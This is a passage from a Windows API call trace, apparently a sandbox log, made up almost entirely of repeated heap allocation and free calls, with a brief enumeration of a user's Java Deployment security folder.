| out: hHeap=0xd10000) returned 1 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.836] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.836] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.837] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.837] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.838] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.838] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.839] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.839] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.839] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.839] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.839] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.839] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.839] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.839] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.839] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.839] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.839] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.839] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.839] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\") returned="security\\" [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8528 [0119.839] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.839] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0119.839] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0828 [0119.840] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8528 | out: hHeap=0xd10000) returned 1 [0119.840] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0119.840] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941478 [0119.840] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0828 | out: hHeap=0xd10000) returned 1 [0119.840] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0119.840] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.840] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941478 | out: hHeap=0xd10000) returned 1 [0119.840] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.840] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0119.840] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.840] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.840] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0119.840] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0119.840] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.840] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0119.840] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.840] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.840] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0119.840] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.840] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.840] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.840] PathFindFileNameW (pszPath="") returned="" [0119.840] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.840] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.841] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.841] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.841] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.841] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.841] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0119.841] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0119.841] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.841] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8528 [0119.841] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.842] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.842] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.843] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.843] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0119.844] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.844] RtlAllocateHeap 